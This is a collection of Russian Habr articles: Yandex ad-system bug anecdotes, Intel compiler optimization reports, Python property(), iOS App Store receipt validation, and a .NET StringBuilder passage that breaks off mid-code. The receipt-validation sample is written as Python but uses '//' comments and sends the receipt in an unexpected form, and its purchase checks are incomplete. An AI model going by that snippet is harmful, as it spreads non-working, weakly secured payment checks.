Мы проектировали очередную базу данных. На старте нам сказали, что в ней будет храниться примерно миллиард записей, для быстрого доступа решили разделить данные на 300 шардов. Мы вычисляем хэш от первичного ключа, делим его на 300 и кладём в первую колонку. Всё легко и понятно, работает идеально. Мы запустились, всё летает — казалось бы, всё прекрасно.
Через пару месяцев происходит что-то невообразимое. У нас деградировали запросы по времени выполнения, взвинтились тайминги, загорелись мониторинги — в общем, всё в огне, и мы не понимаем, что происходит. Всё стало работать супермедленно. «И треснул шард напополам, дымит разлом…» — мы с ребятами в шутку напеваем эту песню, когда вспоминаем историю про треснувший шард. Оказалось, что YDB работает быстро тогда, когда запрос улетает в конкретный шард. Хорошо, мы считаем хэш от ключа, берём остаток от деления и точно знаем, в какой шард нам пойти.
Почему же всё стало работать медленно? Оказывается, наши данные распределились по шардам неравномерно — они все попали в первый шард. YDB разделила диапазон чисел от 0 до 232 на 300 частей и запросы от 0 до 14 млн отправляла в первый шард, от 14 до 28 млн — во второй и так далее. Напомню, что мы просто брали остаток от деления на 300 — то есть числа были от 0 до 299. Несложно догадаться, что все они улетали в первый шард. Когда мы это чинили, постоянно горели алерты, и за это время робот мониторинга, который звонит ответственным, позвонил мне ровно 128 раз — круглое для программиста число.
Этот код писал разработчик по имени Антон, вот и получилось, как в той песне: «И понял Антоха, что поступил плохо…»
#### Откусывание байта
Однажды клиент, рекламодатель, решил добавить в объявление символ рубля — как раз примерно тогда в Юникоде добавили символ рубля, его стало можно использовать, и браузеры научились его отрисовывать. В Юникоде символ рубля представлен тремя байтами, и вот один байт потерялся, судя по результату. Мы подумали, что дебажить и тем более чинить это будет очень трудно, лучше попробуем временно поправить данные в базе. Но это действие тоже нетривиальное и опасное.
Я же решил пойти по пути честного дебага и обнаружил, что есть код, манипулирующий строчками, которые в итоге отдаются в выдачу, и этот код делает довольно странные манипуляции. Часть манипуляций он делает при подготовке данных, часть — непосредственно при отрисовке, и там нарушались некоторые инварианты. Там был код, который добавляет к началу строчки специальный байт, чтобы потом что-то с ним сделать. И ещё был другой код, который из начала строчки байт откусывает и проверяет, что это слово подходит по разным параметрам, чтобы эти манипуляции проделать.
Оказалось, символ рубля был настолько уникальным, что, когда нужно было добавить байт в начало строки, он не дописывался, а когда нужно было откусить — откусывался. В итоге мы откусывали настоящий первый байт из символа рубля и получали два непонятных байта, которые потом ломали вёрстку. После этого я решил внимательно проверить условия, по которым эти байты добавляются и удаляются. Выяснилось, что для служебных слов, предлогов и союзов (которые не нужно обрабатывать с точки зрения соответствия поисковому запросу) эти манипуляции не делаются. Тогда я придумал добавить символ рубля в список этих слов — это можно простым патчем накатить. Добавил, быстро протестировал — все на меня смотрели с надеждой, что это сработает. Я это выкатил — и оно работало. Это был восторг, когда мы довольно сложный баг починили буквально одним инсёртом в базу данных и избежали сложной миграции.
#### Пока vs поке
Мы живём в рамках одного большого монорепозитория, в который коммитит весь Яндекс. Это значит, что туда кто-то что-то коммитит 24/7. Монорепозиторий даёт нам отличную возможность переиспользовать компоненты из совершенно разных сервисов большого Яндекса. Это огромная гибкость, но есть сложность — мы не можем анализировать все коммиты, поэтому diff, который получается в тестовой системе, может быть спровоцирован коммитом вне скоупа рекламной системы. Именно так и произошло в нашем случае.
Один из способов отбора рекламы — отбор по ключевым словам. По ним мы ищем те баннеры, которые по этим ключевым словам подходят. При этом мы так же учитываем синонимы и пытаемся бороться с опечатками, часть таких опечаток фиксируется в монорепозитории. И вот, где-то в глубине монорепозитория произошёл коммит, в котором слово «поке» перестало быть синонимом или опечаткой слова «пока». Раньше система предполагала, что «поке» — опечатка слова «пока» и пыталась отобрать баннеры, которые подходили бы под слово «пока». В тот момент блюдо поке как раз набирало популярность, и стало понятно, что это некорректный отбор — список синонимов поправили. С тех пор проделали работу над ошибками и включили в скоуп тестирования компонент, в котором происходит изменение списка синонимов.
#### Вектор енумов
Мне нужно было научить рекламное объявление отрисовываться в разных дизайнах: например, генерировать видео-объявление из текстового или показывать конкретный товар из карусели товаров как самостоятельное объявление. С точки зрения ранжирования и машинного обучения это размножение одной и той же сущности на несколько сущностей. Такого раньше не делали, было не до конца понятно, как это лучше всего провернуть.
Решил начать с простого — написал в довольно понятном месте цикл for по вариантам отрисовки. Есть enum, который обозначает способ отрисовки объявления. Там в тот момент было два значения: стандартный дизайн и новый дизайн, который я реализовывал. Выбрал функцию, которая принимает объявления и возвращает набор способов отрисовки, которые для него допустимы. Дальше я написал цикл for по этому контейнеру и получил ещё один этап размножения. Затем всё это отправил в ранжирование, и оно работало как задумано. Но в процессе возник вопрос: как вернуть набор енумов из функции? И я по неопытности пошёл по простому пути — вернул вектор. Просто в нём не могло оказаться больше двух значений.
Казалось бы, я это реализовал, проверил на функциональных тестах, всё замечательно. Но на выкладке в препродакшен увидели, что движку стало очень плохо: он медленно обрабатывал запросы, ни за чем не успевал — в общем, была проблема с производительностью. В дебаге я увидел очень много аллокаций и деаллокаций памяти: память постоянно выделялась и освобождалась. Действительно, вектор хранит данные в куче, а не на стеке. Если я в каком-то нагруженном месте регулярно создаю вектор из одного-двух элементов, то, наверное, я что-то делаю неправильно. В тот момент я понял, что это всё-таки то место, где вектор использовать не стоит. С++-программисты нечасто сталкиваются с ситуациями, когда вектор неэффективен и нужно что-то улучшить, но здесь мне пришлось перейти на создание этого массива на стеке с помощью `std::array`, в который функция сохраняла данные с помощью выходного итератора.
В итоге мы довольно сильно поменяли аукцион, чтобы он был как можно более стадийным и не было такого узкого места, где для всех кандидатов запускается что-то тяжёлое. Мы стали выделять отдельные стадии. Лёгкая модель ранжирования может обработать всех кандидатов, а тяжёлая модель требует предварительной фильтрации — как раз с помощью лёгкой модели.
#### Чуть-чуть другие настройки
Однажды вечером к нам прибежали коллеги, говорят — у нас пропали данные в одном из наших конвейеров обработки. В этот конвейер поступали все данные от внешних пользователей и игнорировались данные из сетей Яндекса, что вполне разумно.
Все мониторинги молчат, данные вроде бы льются — мы стали разбираться, что произошло, и обнаружили, что у нас была выкладка, которая примерно совпала по времени с этим действием. В рамках этой выкладки мы немножко поменяли порядок приоритетов заголовков на приёмке данных. Это были заголовки, которыми балансер передавал в сервер бэкенда IP-адрес запроса, и по этому IP-адресу определялась сеть, из которой поступил запрос, в том числе это могла быть сеть Яндекса. После изменения порядка мы провели тесты в одном месте — всё хорошо работало, в другом — понадеялись, что у нас всё везде настроено одинаково и тесты уже прошли. Но оказалось, что там было настроено чуть-чуть по-другому.
Из-за этого полились данные с IP-адресами балансеров Яндекса, и коллеги начали все эти данные в одном месте отрубать, а в другом — залили весь свой процессинг (получили очень много данных). Конечно, мы всё откатили назад, но потом обнаружили ещё один интересный спецэффект — из этих данных высчитывалась одна из пользовательских метрик в статистике — регион. И у отдельных пользователей, и у отдельных приложений в этот промежуток времени почти вся аудитория была из Владимира, где находится один из наших дата-центров.
Мы восстановили данные, но сделали вывод: помимо проверки тестами нужно подвергать сомнениям продакшен-конфигурацию, идти к аналитикам и вместе смотреть, что происходит с данными. | https://habr.com/ru/post/680072/ | null | ru | null |
# Intel® Composer XE 2015 Beta: отчётность в порядке!
Наконец, стартовала бета программа для Intel Software Development Tools. На подходе новые версии всех средств, которые предлагает Intel для разработчиков. Давайте разберёмся, что интересного принесёт нам следующий релиз компилятора.
Итак, в 2015 бету-версию Composer’а вошли С++ и Fortran компиляторы v.15.0 beta, библиотеки Math Kernel Library 11.2 beta, Integrated Performance Primitives 8.1 и Threading Building Blocks 4.2 Update 3. Как обычно, поддерживаются все платформы – Windows, Linux и OS X. Обратите внимание на то, что версии компилятора 14.1 нет и не будет (предыдущая версия — 14.0).
В бета-версии опять появилась возможность выполнять вычисления с помощью интегрированной графики — Intel Graphics Technology. Говорю опять, потому что эта функциональность уже была опробована в предыдущей бета-версии, но в официальном релизе так и не появлялась. Будем надеяться что в этот раз она увидит свет. Возможность интересная и, безусловно, заслуживает особого внимания и отдельного разговора. В IPP добавилась поддержка Intel Xeon Phi — тут без неожиданностей. Кроме того, появились новые компиляторы «icl» и «icl++» на OS X для лучшей совместимости с clang/LLVM. Интересно, что для С++ компилятора опция -ansi-alias теперь включена по умолчанию, чего раньше не было, да и стандарт C++11 теперь поддерживается полностью.
Пожалуй, больше всего изменения коснулись отчётов компилятора об оптимизации, таких как opt-report, vec-report, openmp-report и par-report. О них и поговорим подробнее.
Напомню, что все они выдавали различную информацию о том, какие оптимизации выполнил компилятор с исходным кодом. На протяжении долгих лет мы слышали просьбы улучшить эти отчеты — сделать их более читаемыми, удобными и понятными. Больше всего беспокоил отчет о векторизации, который крайне важен для оптимизации циклов. Давайте посмотрим, что поменялось на деле на примере простенького кода с двумя функциями и циклами:
```
void foo0(int n, int *a)
{
for (int i = 0; i < n; ++i) {
if (n & 1) {
a[i] = a[i+1];
}
}
}
void foo1(int n, int *a)
{
// will not be vectorized due to data dependency.
for (int i = 1; i < n; ++i) {
if (n & 1) {
a[i] = a[i-1];
}
}
}
```
Собрав код с предыдущей версией компилятора, я, честно говоря, немного запутался в его выводе.
```
>icl -Qopt-report -c test.cpp
```
Сначала мы получили целый набор информации, очень похожей на какую-то внутреннюю, отладочную и абсолютно бесполезную:
```
<;-1:-1;IPO ROUTINE ATTRIBUTES PROPAGATION;;0>
ROUTINE ATTRIBUTE PROPAGATION TOTALS:
RDECL: NSE(0->0), AR(0->0)
ENTRY: SE(0->0), DSE(0->0), AR(0->0)
<;-1:-1;IPO MODREF;;0>
CI-MOD: TOTAL(2):OTHER(2)
CI-REF: TOTAL(2):OTHER(2)
<;-1:-1;IPO;;0>
```
Согласитесь, здесь практически ничего не понять без кода самого компилятора, но речь идёт про IPO оптимизацию, факт. Поэтому чуть ниже мы видим значения некоторых параметров для инлайнинга и соответствующий отчёт:
```
INLINING OPTION VALUES:
-Qinline-factor: 100
-Qinline-min-size: 30
-Qinline-max-size: 230
-Qinline-max-total-size: 2000
-Qinline-max-per-routine: 10000
-Qinline-max-per-compile: 500000
< test.cpp;2:8;IPO INLINING;?foo0@@YAXHPEAH@Z;0>
INLINING REPORT: (?foo0@@YAXHPEAH@Z) [1/2=50.0%]
```
Далее следует отчет по векторизации для функции foo:
```
HPO VECTORIZER REPORT (?foo0@@YAXHPEAH@Z) LOG OPENED ON Wed May 14 14:38:33 2014
< test.cpp;-1:-1;hpo_vectorization;?foo0@@YAXHPEAH@Z;0>
HPO Vectorizer Report (?foo0@@YAXHPEAH@Z)
test.cpp(3:5-3:5):VEC:?foo0@@YAXHPEAH@Z: vectorization support: unroll factor set to 2
LOOP WAS VECTORIZED
loop was not vectorized: nonstandard loop is not a vectorization candidate
HLO REPORT LOG OPENED ON Wed May 14 14:38:33 2014
```
И HLO отчёт:
```
High Level Optimizer Report (?foo0@@YAXHPEAH@Z)
Predicate unswitching Report:
(Condition and loop line numbers)
Condition at line 4 hoisted from loop at line 3
```
Продолжать разбор данного вывода не буду, потому что очевидно то, что всё это крайне неудобно. Требуется постоянно из кучи ненужной информации высматривать то, что интересует нас. Тем не менее, пользоваться таким средством было всё-таки возможно – я получил нужную мне информацию о векторизации циклов, и ещё кое-что о преобразованиях самих циклов компилятором, например в функции foo вынесли условие из цикла. Но, очевидно, что подобный отчёт больше смахивает на первобытность.
Итак, легким движением руки я открыл консоль с новой версией компилятора и попытался проделать то же самое:
```
>icl -Qopt-report -c test.cpp
```
Результат меня несколько удивил. Я не увидел ничего в консоли, потому что сейчас компилятор по дефолту направляет отчёт в файл с расширение .optrpt для каждого объектника, и говорит об этом:
```
icl: remark #10398: optimization reports are generated in *.optrpt files in the output directory
```
Неожиданно, и к этому нужно быть готовым. В нашем случае, появился файлик test.optrpt. Это поведение можно поменять и вернуться к прежнему отображению в STDERR с помощью ключика -opt-report-file:stderr.
Хорошо, посмотрим что же есть в этом файлике. Сразу обращает на себя внимание тот факт, что всю ненужную информацию в виде <;-1:-1;IPO MODREF;;0> и прочее убрали. Отчёт хорошо структурирован и гораздо более понятен. Начинается он, как и раньше, с отчета о IPO оптимизации, но теперь это явно прописали:
```
Report from: Interprocedural optimizations [ipo]
IPO OPTIMIZATION REPORT:
INLINING OPTION VALUES:
-Qinline-factor: 100
-Qinline-min-size: 30
-Qinline-max-size: 230
-Qinline-max-total-size: 2000
-Qinline-max-per-routine: 10000
-Qinline-max-per-compile: 500000
```
Вообще, в отчет добавили много слов о том, где какой отчёт начинается, что облегчает понимание. Скажем, вот так:
```
Begin optimization report for: foo0
Report from: Interprocedural optimizations [ipo]
INLINE REPORT: (foo0) [1]
Report from: Loop nest, Vector & Auto-parallelization optimizations [loop, vec, par]
…
===========================================================================
Begin optimization report for: foo1
Report from: Interprocedural optimizations [ipo]
INLINE REPORT: (foo1) [2]
Report from: Loop nest, Vector & Auto-parallelization optimizations [loop, vec, par]
…
```
Но больше всего меня порадовала информация от векторизатора следующего вида:
```
LOOP BEGIN at C:\Users\ivorobts\Desktop\opt-report\test.cpp(13,5)
Predicate Optimized v1
remark #25426: Invariant Condition at line 14 hoisted out of this loop
remark #15046: loop was not vectorized: existence of vector dependence
remark #25443: unrolled with remainder by 2
remark #25014: Number of Array Refs Scalar Replaced In Loop: 2
LOOP END
```
Для каждого цикла теперь имеются «маячки» вида LOOP BEGIN…LOOP END, поэтому их легко различить. Кстати, заменив опцию opt-report на vec-report7, раньше можно было получить информацию только по векторизации, причем с максимально возможной детализацией.
С этой версии компилятора vec-report всё ещё поддерживается, но скоро совсем уйдёт «в века», передав все полномочия opt-report-phase:vec. Да и максимальный уровень, установленный для отчета, уже не 7, а 5. Напомню, что в версии 14.0 установка 7 уровня (максимального) требовала использования специального скриптика, для того, чтобы парсить вывод и приводить его в нормальный, читаемый вид. Сейчас это организовали без всяких скриптов, а максимальный уровень теперь 5, как в школе.
Итак, пробуем:
```
icl -Qopt-report:vec5 -c test.cpp
```
Упс… всё равно в отчете видим наличие информации про IPO. Ошибка, которая, видимо, скоро будет исправлена. А вот старый добрый vec-report сработал как нужно, и в файле из отчетов ничего, кроме отчета векторизатора:
```
>icl -Qvec-report5 -c test.cpp
```
Но не стоит увлекаться использованием отдельный опций на каждую оптимизацию — скоро их совсем «выкинут».
С уровнем 5 мы получили достаточно много информации про цикл в функции foo:
```
LOOP BEGIN at C:\Users\ivorobts\Desktop\opt-report\test.cpp(3,5)
remark #15134: vectorization support: reference a has aligned access
remark #15135: vectorization support: reference a has unaligned access
remark #15127: vectorization support: unaligned access used inside loop body
remark #15002: LOOP WAS VECTORIZED
remark #36058: entire loop may be executed in remainder
remark #36065: unmasked aligned unit stride stores: 1
remark #36066: unmasked unaligned unit stride loads: 1
remark #36091: --- begin vector loop cost summary ---
remark #36092: scalar loop cost: 8
remark #36093: vector loop cost: 1.250
remark #36094: estimated potential speedup: 5.820
remark #36095: lightweight vector operations: 3
remark #36104: --- end vector loop cost summary ---
LOOP END
```
Кстати, есть приятная новость – скоро Visual Studio должна научиться отображать эти отчеты в красивой и удобной форме, и не нужно будет лезть ручками и открывать файлы. Обещают добавить такую возможность, уже описанную в документации к бета-версии (ключик Qopt-report-format:vs), в следующем обновлении. Что ж, подождём. А пока каждый может попробовать новые возможности средств от Intel, в том числе и компилятора, поучаствовав в [бета программе](https://software.intel.com/en-us/articles/intel-software-development-tools-2015-beta), которая продлится до 11 июля. Ваш отзыв о новых возможностях очень ценен для нас, так что заранее спасибо и удачи! | https://habr.com/ru/post/222769/ | null | ru | null |
# Функция property() в Python
> Перевод материала подготовлен в рамках онлайн-курса ["**Python Developer. Basic**"](https://otus.pw/rtuI/).
>
> Приглашаем всех желающих на двухдневный онлайн-интенсив [**«Разработка десктоп-приложения с помощью библиотеки Tkinter»**](https://otus.pw/LvI5/). На интенсиве получим начальные навыки бэкенд-разработки на Python, а также начнем разработку десктоп-приложения с помощью библиотеки Tkinter. По итогам 2х дней сможем создать инвестиционное приложение для просмотра актуальной цены на необходимые акции или валюту. Присоединяйтесь!
>
>
---
Функция `property()` используется для определения свойств в классах.
Метод `property()` обеспечивает интерфейс для атрибутов экземпляра класса. Он инкапсулирует атрибуты экземпляров и предоставляет свойства, аналогично тому, как это работает в Java и C#.
Метод `property()` принимает на вход методы `get`, `set` и `delete`, и возвращает объекты класса `property`.
Вместо метода `property()` лучше использовать декоратор `property` (<https://www.tutorialsteacher.com/python/property-decorator>).
 Параметры:
1. `fget`: (опционально) Функция для получения значения атрибута. Значение по умолчанию None.
2. `fset`: (опционально) Функция для задания значения атрибута. Значение по умолчанию None.
3. `fdel`: (опционально) Функция для удаления значения атрибута. Значение по умолчанию None.
4. `doc`: (опционально) Строка, содержащая документацию. Значение по умолчанию None.
**Возврат значений:**
Возвращает атрибут свойства из заданных геттера, сеттера и функции удаления.
Следующий пример показывает, как создать свойство в Python с помощью функции `property()`.
```
class person:
def __init__(self):
self.__name=''
def setname(self, name):
print('setname() called')
self.__name=name
def getname(self):
print('getname() called')
return self.__name
name=property(getname, setname)
```
В примере выше `property(getname, setname)` возвращает объект свойства и присваивает ему имя. Таким образом, свойство `name` скрывает приватный экземпляр `__name`. Доступ к свойству `name` осуществляется напрямую, но внутри вызывается метод `getname()` или `setname()`*,* как показано ниже.
```
>>> from person import person
>>> p1=person()
>>> p1.name="Steve"
setname() called
>>> p1.name
getname() called
'Steve'
```
Как видно выше, метод `getname()`вызывается автоматически, когда мы обращаемся к свойству `name`. Аналогично метод `setname` вызывается, когда мы присваиваем значение свойству `name`. Он скрывает атрибут класса `__name`.
Аналогично можно написать метод удаления свойства, как в коде ниже.
```
class person:
def __init__(self, name):
self.__name=name
def setname(self, name):
print('setname() called')
self.__name=name
def getname(self):
print('getname() called')
return self.__name
def delname(self):
print('delname() called')
del self.__name
# Set property to use get_name, set_name
# and del_name methods
name=property(getname, setname, delname)
```
Функция `delname()` будет вызвана, когда вы удалите свойство `name`.
```
>>> from person import person
>>> p1=person()
>>> p1.name="Steve"
setname() called
>>> del p1.name
delname() called
```
Таким образом, мы можем определить свойство в классе с помощью функции `property()` в Python.
Декоратор `@property` упрощает объявление свойства и позволяет сделать это не вызывая функцию `property()`.
---
> Узнать подробнее о курсе ["**Python Developer. Basic**"](https://otus.pw/rtuI/)
>
> Регистрация на двухдневный онлайн-интенсив **«Разработка десктоп-приложения с помощью библиотеки Tkinter»**: [**День 1**](https://otus.pw/LvI5/), [**День 2.**](https://otus.pw/kU1q/)
>
> | https://habr.com/ru/post/557804/ | null | ru | null |
# Делаем платежи iOS AppStore с проверкой на сервере
Доброго времени суток, Хабровчане!
Много перечитал информации по платежам этой неплохой мобильной ОС. Но нормальных и понятных примеров так и не нашёл, поэтому решил написать про свой опыт.
Желаете узнать подробнее — добро пожаловать под кат.
И так.
Я занимаюсь исключительно back-end'ом, поэтому про front-end разработку писать не буду.
На нашем сервере делаем самый обычный обработчик http-запросов.
От клиента нам понадобятся следующие данные:
1 — ID пользователя для проведения внутренней транзакции
2 — Receipt — данные от Apple.
В обработке принимаем эти данные и делаем запрос к Apple для проверки валидности данных.
Привожу пример обработчика на Python.
```
import requests
// Имя приложения
bundle_id = "com.MyCompany.MyApp"
// URL для проверки влажности данных (для приложений в песочнице).
// Для опубликованных приложений используется другой адрес: "https://buy.itunes.apple.com/verifyReceipt"
url = "https://sandbox.itunes.apple.com/verifyReceipt"
// получаем данные от клиента
receipt = GetRequestParam("receipt")
// Делаем запрос к Apple
resp = requests.post(url,receipt)
response = resp.json()
// Проверяем статус ответа
if response["status"] != 0:
return "Error"
response = response["receipt"]
// Проверяем принадлежность принятых данных к нашему приложению
if response["bundle_id"] != bundle_id:
return "Error"
// Получаем данные покупки
package = response["in_app"][0]
productId = package["product_id"]
transaction_id = package["transaction_id"]
UserID = GetRequestParams("UserID")
// Делаем проверку на наличие пользователя
// Тут на Ваше усмотрение.
// И если все проверки пройдены, начисляем валюту пользователю
```
Вот простейший пример обработки платежей.
Всё просто и понятно.
Пользуйтесь. Спасибо. | https://habr.com/ru/post/254257/ | null | ru | null |
# StringBuilder прошлое и настоящее
#### Вступление
Моя прошлая статья была посвящена особенностям строкового типа данных String в .NET. Эта статья продолжает традицию, однако на этот раз мы рассмотрим класс StringBuilder.
Как известно, строки в .NET являются неизменяемыми (не используя unsafe), а поэтому проводить с ними операцию конкатенации в больших количествах не самая лучшая идея. Это значит, что следующий код имеет весьма серьезные проблемы с нагрузкой на память:
```
string s = string.Empty;
for (int i = 0; i < 100; i++)
{
s += "T";
}
```
Что же плохого в этом коде? А то, что на каждой итерации создается строка длиною на единицу больше чем на предыдущем шаге с последующим копированием символов из старой строки. Таким образом, суммарное количество задействованных символов равно:
Данная формула есть не что иное, как сумма арифметической прогрессии:
То есть такой сценарий конкатенации требует памяти пропорционально O(n2), n — длина строки.
Для устранения проблем в подобном коде мы используем класс StringBuilder, зная, что операции с ним не приводят к таким растратам памяти как со String. Фактически StringBuilder представляет собой изменяемую строку.
```
var strB = new StringBuilder();
for (int i = 0; i < 100; i++)
{
strB.Append("T");
}
string str = strB.ToString();
```
Такой код хоть и не лишен всех недостатков и тратит некоторую память на ветер, но делает это более сдержанно, по сравнению с предыдущим кодом.
Реализация класса StringBuilder кардинально изменилась в .NET 4.0 по сравнению с предыдущими версиями, а потому я думаю, будет интересно написать, что же с ним случилось.
#### StringBuilder в .NET 2.0
Класс StringBuilder в .NET 2.0 имеет следующие поля:
```
public sealed class StringBuilder : ISerializable
{
internal const int DefaultCapacity = 16;
private const string CapacityField = "Capacity";
private const string MaxCapacityField = "m_MaxCapacity";
private const string StringValueField = "m_StringValue";
private const string ThreadIDField = "m_currentThread";
internal IntPtr m_currentThread;
internal int m_MaxCapacity;
internal volatile string m_StringValue; <-------------------------------------
}
```
*m\_currentThread* — идентификатор потока, в котором создавался экземпляр объекта;
*m\_MaxCapacity* — максимальная емкость данного экземпляра;
*m\_StringValue* — строка, содержащая символы.
Фактически класс StringBuilder внутри работает со строковым типом данных String. Поскольку строки со стороны mscorlib.dll являются изменяемыми, то StringBuilder-у ничего не стоит изменить строку, находящуюся в *m\_StringValue*.
Первоначальная длина составляет 16 символов, а при нехватке места для добавления новых символов StringBuilder заменяет внутреннюю строку на строку длиною в два раза больше и копирует во вновь созданную все символы из предыдущей + новые. Удвоение длины строки приводит к линейной сложности (O(n)) по памяти, в отличие от квадратичной, которая присуща обычным строкам.
Важным дополнением к увеличению производительности является задание нужной емкости при создании экземпляра класса StringBuilder. Тем самым нам не требуется очередное удвоение размера и копирование данных при нехватке памяти. Однако, это возможно лишь в том случае, если мы заранее знаем размер получаемой строки.
Рассмотрим реализации наиболее часто используемых методов. Для читаемости кода я убрал условия проверки входных параметров.
##### *Метод Append()*
**Исходный код**
```
public StringBuilder Append(string value)
{
if (value == null)
return this;
string currentString = this.m_StringValue;
IntPtr currentThread = Thread.InternalGetCurrentThread();
if (this.m_currentThread != currentThread)
currentString = string.GetStringForStringBuilder(currentString, currentString.Capacity);
int length = currentString.Length;
int requiredLength = length + value.Length;
if (this.NeedsAllocation(currentString, requiredLength)) //проверка хватает ли места для добавления символов
{
//создаем строку длиною в 2 раза больше и копируем все символы из старой строки
string newString = this.GetNewString(currentString, requiredLength);
newString.AppendInPlace(value, length);
this.ReplaceString(currentThread, newString); //заменяем старую строку новой
}
else
{
currentString.AppendInPlace(value, length);
this.ReplaceString(currentThread, currentString);
}
return this;
}
```
Данный метод просто проверяет, хватает ли места в текущем экземпляре для добавления новой строки, если да, то просто происходит копирование на месте в незанятую часть строки, иначе удвоение размера и копирование старой и новой строки.
##### *Метод Insert()*
**Исходный код**
```
public StringBuilder Insert(int index, string value)
{
if (value == null)
return this.Insert(index, value, 0);
else
return this.Insert(index, value, 1);
}
public StringBuilder Insert(int index, string value, int count)
{
IntPtr tid;
string threadSafeString = this.GetThreadSafeString(out tid);
int length = threadSafeString.Length;
if (value != null && value.Length != 0)
{
if (count != 0)
{
int requiredLength;
try
{
requiredLength = checked (length + value.Length * count);//вычисляем длину новой строки
}
catch (OverflowException ex)
{
throw new OutOfMemoryException();
}
if (this.NeedsAllocation(threadSafeString, requiredLength))//проверка хватает ли места для добавления символов
{
//создаем строку длиною в 2 раза больше и копируем все символы из старой строки
string newString = this.GetNewString(threadSafeString, requiredLength);
newString.InsertInPlace(index, value, count, length, requiredLength);//вставляем новые символы
this.ReplaceString(tid, newString);//заменяем старую строку новой
}
else
{
threadSafeString.InsertInPlace(index, value, count, length, requiredLength);
this.ReplaceString(tid, threadSafeString);
}
return this;
}
}
return this;
}
```
Данный метод аналогично предыдущему проверяет, хватает ли места в текущем экземпляре для вставки новой строки и в зависимости от этого удваивает размер строки или же вставляет на месте в исходную строку без изменения размера.
##### *Метод Remove()*
**Исходный код**
```
public StringBuilder Remove(int startIndex, int length)
{
IntPtr tid;
string threadSafeString = this.GetThreadSafeString(out tid);
int length1 = threadSafeString.Length;
//удаляем ненужные символы, сдвигая оставшуюся часть строки влево
threadSafeString.RemoveInPlace(startIndex, length, length1);
this.ReplaceString(tid, threadSafeString);//заменяем старую строку новой
return this;
}
```
Данный метод удаляет ненужные символы, сдвигая оставшуюся часть строки влево. При удалении последнего символа фактически ничего сдвигать не надо, поэтому удаление с конца происходит намного быстрее, чем из любой другой части строки.
##### *Метод ToString()*
**Исходный код**
```
public override string ToString()
{
string str = this.m_StringValue;
if (this.m_currentThread != Thread.InternalGetCurrentThread() || 2 * str.Length < str.ArrayLength)
return string.InternalCopy(str);//возвращаем копию строки
str.ClearPostNullChar();
this.m_currentThread = IntPtr.Zero;
return str; //возвращаем ссылку на текущую строку
}
```
Данный метод, как видно из реализации, возвращает либо копию строки, либо строку, которой оперирует. Как правило, первый вызов данного метода возвращает ссылку на исходную строку, поэтому выполняется очень быстро, однако каждый последующий вызов приводит к копированию строки. Класс StringBuilder в .NET 2.0 делает упор именно на быстроту работы этого метода.
В общем, класс StringBuilder в .NET 2.0 реализован достаточно просто. Он использует изменяемую строку, а при нехватке места создает новую строку, длина которой в два раза больше предыдущей. Такой сценарий удвоения длины приводит к линейной сложности по памяти, что на порядок лучше квадратичной. Однако, при больших длинах строк и это не эффективно. Кстати, из-за своего большего размера, строка часто может располагаться в куче для больших объектов(LOH), что так же ни есть хорошо.
#### StringBuilder в .NET 4.0
Как я уже сказал, в .NET 4.0 реализация класса StringBuilder поменялась. Теперь для хранения символов вместо String используется Char[], а сам класс представляет собой связный список StringBuilder-ов подобно RopeString.
Причина такого изменения достаточно очевидна: при такой реализации не требуется перевыделять память при ее нехватке, что присуще предыдущей реализации. Это так же означает, что метод ToString() работает немного медленнее, поскольку окончательную строку необходимо сначала сформировать, а метод Append() работает быстрее, поскольку не требует копирования. Однако это вписывается в типичный сценарий использования для StringBuilder: много вызовов Append(), а затем один вызов ToString().
Класс StringBuilder в .NET 4.0 имеет следующие поля:
```
public sealed class StringBuilder : ISerializable
{
internal const int DefaultCapacity = 16;
internal const int MaxChunkSize = 8000;
internal char[] m_ChunkChars; <-------------------------------------
internal StringBuilder m_ChunkPrevious; <-------------------------------------
internal int m_ChunkLength;
internal int m_ChunkOffset;
internal int m_MaxCapacity;
private const string CapacityField = "Capacity";
private const string MaxCapacityField = "m_MaxCapacity";
private const string StringValueField = "m_StringValue";
private const string ThreadIDField = "m_currentThread";
}
```
*m\_ChunkChars* — массив содержащий символы текущего элемента связного списка (кусочка строки);
*m\_ChunkPrevious* — ссылка на предыдущий элемент (StringBuilder) в списке;
*m\_ChunkLength* — реальная длина текущего элемента списка (количество используемых символов);
*m\_ChunkOffset* — суммарное количество используемых строкой символов (логическая длина);
*m\_MaxCapacity* — максимальная емкость текущего экземпляра StringBuilder.
В .NET Framework 4 и .NET Framework 4.5 при создании экземпляра объекта StringBuilder путем вызова конструктора StringBuilder(Int32, Int32) и длина и емкость экземпляра StringBuilder может увеличиваться за значением его свойства MaxCapacity. Это может произойти в частности, при вызове методов Append и AppendFormat.
Максимальная длина элемента списка *MaxChunkSize* равна 8000. Как вы понимаете это сделано не просто так. Вот комментарий разработчиков класса:
**We want to keep chunk arrays out of large object heap (< 85K bytes ~ 40K chars) to be sure. Making the maximum chunk size big means less allocation code called, but also more waste in unused characters and slower inserts / replaces.
Мы хотим, чтобы массив символов не попадал в кучу для больших объектов. Делая максимальный размер элемента списка (кусочка) большим, значило бы, что нужно меньше аллокации памяти, но больше символов остаются не используемыми и операции insert / replace выполняются медленнее.**
Рассмотрим реализации наиболее часто используемых методов.
##### *Метод Append()*
**Исходный код**
```
public unsafe StringBuilder Append(string value)
{
if (value != null)
{
char[] chArray = this.m_ChunkChars;
int index = this.m_ChunkLength;
int length = value.Length;
int num = index + length;
if (num < chArray.Length)// Если хватает места в текущем экземпляре для вставки новой строки
{
if (length <= 2)
{
if (length > 0)
chArray[index] = value[0];
if (length > 1)
chArray[index + 1] = value[1];
}
else
{
fixed (char* smem = value)
fixed (char* dmem = &chArray[index])
string.wstrcpy(dmem, smem, length);
}
this.m_ChunkLength = num;
}
else
this.AppendHelper(value);
}
return this;
}
private unsafe void AppendHelper(string value)
{
fixed (char* chPtr = value)
this.Append(chPtr, value.Length);
}
internal unsafe StringBuilder Append(char* value, int valueCount)
{
// Оптимизация
int num1 = valueCount + this.m_ChunkLength;
if (num1 <= this.m_ChunkChars.Length)
{
StringBuilder.ThreadSafeCopy(value, this.m_ChunkChars, this.m_ChunkLength, valueCount);
this.m_ChunkLength = num1;
}
else
{
// Копируем первую часть(кусочек)
int count = this.m_ChunkChars.Length - this.m_ChunkLength;
if (count > 0)
{
StringBuilder.ThreadSafeCopy(value, this.m_ChunkChars, this.m_ChunkLength, count);
this.m_ChunkLength = this.m_ChunkChars.Length;
}
// Увеличиваем билдер, добавляя еще один кусочек
int num2 = valueCount - count;
this.ExpandByABlock(num2);
// Копируем вторую часть (кусочек)
